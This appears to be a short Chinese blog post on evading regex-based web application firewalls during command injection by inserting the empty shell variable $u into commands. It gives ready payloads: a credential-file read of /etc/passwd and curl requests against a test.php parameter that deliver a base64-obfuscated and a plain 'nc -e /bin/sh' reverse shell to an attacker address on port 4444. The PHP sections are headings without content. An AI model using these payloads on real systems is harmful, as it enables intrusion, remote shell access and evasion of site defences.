0x01 linux

当某个站点存在命令执行时,可通过linux的空变量$u来绕过正则WAF匹配:

使用空变量$u,linux中是可以存在空变量的,直接被系统视为空字符串,空变量不会对输出造成影响,可以借此来绕过基于正则表达式的过滤器和模式匹配。

详情请见:绕过CloudFlare WAF和ModSecurityOWASP CRS3核心规则集的技巧介绍

cat$u /etc$u/passwd$u
curl-s "http://192.168.145.5/test.php?file=&/bin$u/echo$u bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjE0NS4xIDQ0NDQgICAK|/usr$u/bin$u/base64$u -d|/bin$u/sh$u"

curl-s "http://192.168.145.5/test.php?file=&/bin/ nc -e /bin/sh 192.168.145.1 4444"

0x02 php

php一句话:

绕过一些不同寻常的WAF限制

php文件上传:

绕过一些不同寻常的WAF限制

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2021-10-19
  • 2021-07-05
  • 2022-12-23
  • 2022-12-23
  • 2021-11-21
猜你喜欢
  • 2022-12-23
  • 2021-09-04
  • 2021-05-26
  • 2021-09-13
  • 2021-09-24
  • 2021-12-04
  • 2022-01-12
相关资源
相似解决方案